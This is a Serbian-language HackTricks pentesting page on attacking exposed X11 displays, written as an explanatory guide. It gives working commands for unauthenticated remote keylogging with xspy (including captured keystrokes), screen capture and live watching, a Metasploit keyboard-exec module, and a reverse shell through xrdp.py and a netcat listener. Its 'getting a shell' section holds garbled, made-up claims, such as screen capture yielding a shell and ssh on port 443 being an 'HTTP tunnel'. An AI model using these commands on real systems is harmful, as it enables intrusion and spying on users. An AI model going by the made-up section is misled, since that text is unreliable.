hacktricks/network-services-pentesting/6000-pentesting-x11.md
2024-02-10 13:11:20 +00:00

14 KiB
Raw Blame History

6000 - Pentesting X11

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Hakerske vesti u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovije objave
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Osnovne informacije

X Window System (X) je svestrani sistem za prozore koji je široko rasprostranjen na UNIX baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih korisničkih interfejsa (GUI), pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznovrsna i prilagodljiva iskustva unutar X okruženja.

Podrazumevani port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeracija

Proverite da li postoji anonimna veza:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Lokalno nabrojavanje

Fajl .Xauthority u korisničkom folderu se koristi od strane X11 za autorizaciju. Sa ovde:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generisanje 128 bita ključa ("kolačića"), smeštanje u ~/.Xauthority (ili tamo gde XAUTHORITY envvar pokazuje). Klijent ga šalje serveru kao običan tekst! Server proverava da li ima kopiju ovog "kolačića" i ako ima, veza se dozvoljava. Ključ se generiše pomoću DMX.

{% hint style="warning" %} Da biste koristili kolačić, trebate postaviti env var: export XAUTHORITY=/putanja/do/.Xauthority {% endhint %}

Lokalna sesija enumeracije

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Provera konekcije

Da biste proverili da li imate pristup X11 serveru, možete koristiti komandu xhost. Ova komanda vam omogućava da kontrolišete pristup X serveru za različite korisnike ili mašine.

$ xhost
access control enabled, only authorized clients can connect
SI:localuser:username

Ako vidite poruku "access control enabled, only authorized clients can connect", to znači da je pristup X serveru omogućen samo autorizovanim klijentima.

X11 Forwarding

X11 Forwarding je tehnika koja vam omogućava da pokrećete grafičke aplikacije sa udaljenog servera i prikazujete ih na lokalnom računaru. Da biste koristili X11 Forwarding, morate imati instaliran X server na lokalnom računaru.

Da biste omogućili X11 Forwarding prilikom SSH konekcije, koristite opciju -X ili -Y prilikom pozivanja SSH komande:

$ ssh -X username@remote_host

X11 Forwarding preko SSH tunela

Ako želite da koristite X11 Forwarding preko SSH tunela, možete koristiti sledeću komandu:

$ ssh -L 6000:localhost:6000 username@remote_host

Ova komanda uspostavlja SSH tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.

X11 Forwarding preko HTTP tunela

Ako želite da koristite X11 Forwarding preko HTTP tunela, možete koristiti sledeću komandu:

$ ssh -L 6000:localhost:6000 -N -f -l username remote_host -p 443

Ova komanda uspostavlja HTTP tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keylogovanje

xspy za presretanje tastature.

Primer izlaza:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Snimanje snimaka ekrana

Snimanje snimaka ekrana je tehnika koja se koristi u procesu testiranja penetracije kako bi se prikupile informacije o aktivnostima na ciljnom sistemu. Ova tehnika omogućava hakerima da snime slike ekrana i pregledaju ih kasnije radi analize.

Da biste snimili snimak ekrana, možete koristiti različite alate kao što su scrot, import ili gnome-screenshot. Ovi alati omogućavaju snimanje trenutnog sadržaja ekrana i čuvanje snimka u odabranom formatu.

Na primer, možete koristiti sledeću komandu za snimanje snimka ekrana koristeći scrot:

scrot screenshot.png

Ova komanda će snimiti trenutni sadržaj ekrana i sačuvati ga kao screenshot.png u trenutnom direktorijumu.

Nakon što snimite snimak ekrana, možete ga pregledati koristeći pregledač slika ili alate za uređivanje slika kao što su feh, eog ili gimp.

Važno je napomenuti da prilikom snimanja snimaka ekrana tokom testiranja penetracije treba biti oprezan kako se ne bi otkrile osetljive informacije ili lični podaci. Takođe, treba se pridržavati zakonskih propisa i etičkih smernica prilikom korišćenja ove tehnike.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Prikaz udaljenog radnog okruženja

Putanja: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Putanja: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Prvo moramo pronaći ID prozora koristeći xwininfo.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Za live pregledanje moramo koristiti

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Dobijanje Shell-a

Da biste dobili pristup Shell-u na ciljnom sistemu, možete koristiti različite tehnike. Evo nekoliko metoda koje možete isprobati:

1. X11 Forwarding

X11 Forwarding je tehnika koja vam omogućava da pokrenete aplikacije sa ciljnog sistema na vašem lokalnom sistemu. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.

Da biste koristili X11 Forwarding, prvo morate omogućiti opciju X11Forwarding u konfiguracionom fajlu SSH servera na ciljnom sistemu. Zatim, koristite SSH tuneliranje da biste uspostavili sigurnu vezu sa ciljnim sistemom i pokrenuli aplikaciju sa ciljnog sistema na vašem lokalnom sistemu.

2. X11 Reverse Shell

X11 Reverse Shell je tehnika koja vam omogućava da dobijete pristup Shell-u na ciljnom sistemu putem X11 protokola. Ova tehnika zahteva da ciljni sistem ima X11 server pokrenut i da je omogućen X11 Forwarding.

Da biste koristili X11 Reverse Shell, prvo morate pokrenuti X11 server na vašem lokalnom sistemu. Zatim, koristite X11 Forwarding da biste uspostavili vezu sa ciljnim sistemom i dobili pristup Shell-u.

3. X11 Injection

X11 Injection je tehnika koja vam omogućava da izvršite zlonamerni kod na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.

Da biste koristili X11 Injection, prvo morate pronaći ranjivu aplikaciju koja koristi X11 protokol na ciljnom sistemu. Zatim, iskoristite ranjivost da biste ubacili zlonamerni kod i dobili pristup Shell-u.

4. X11 Port Forwarding

X11 Port Forwarding je tehnika koja vam omogućava da usmerite X11 protokol preko SSH tunela. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.

Da biste koristili X11 Port Forwarding, prvo morate uspostaviti SSH tunel sa ciljnim sistemom. Zatim, koristite X11 Port Forwarding da biste usmerili X11 protokol preko SSH tunela i dobili pristup Shell-u.

5. X11 Screen Capture

X11 Screen Capture je tehnika koja vam omogućava da snimite sadržaj ekrana ciljnog sistema putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.

Da biste koristili X11 Screen Capture, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje sadržaja ekrana na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimili sadržaj ekrana i dobili pristup Shell-u.

6. X11 Keylogger

X11 Keylogger je tehnika koja vam omogućava da snimate tastere koje korisnik pritisne na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.

Da biste koristili X11 Keylogger, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje tastature na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimali tastere i dobili pristup Shell-u.

msf> use exploit/unix/x11/x11_keyboard_exec

Drugi način:

Reverse Shell: Xrdp takođe omogućava preuzimanje obrnutog školjka pomoću Netcat-a. Unesite sledeću komandu:

./xrdp.py \<IP:0> no-disp

U interfejsu možete videti opciju R-shell.

Zatim, pokrenite Netcat osluškivač na vašem lokalnom sistemu na portu 5555.

nc -lvp 5555

Zatim, unesite svoju IP adresu i port u opciju R-Shell i kliknite na R-shell da biste dobili shell.

Reference

Shodan

  • port:6000 x11

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hacking Insights
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Real-Time Hack News
Budite u toku sa brzim svetom hakovanja putem vesti i saznanja u realnom vremenu

Latest Announcements
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: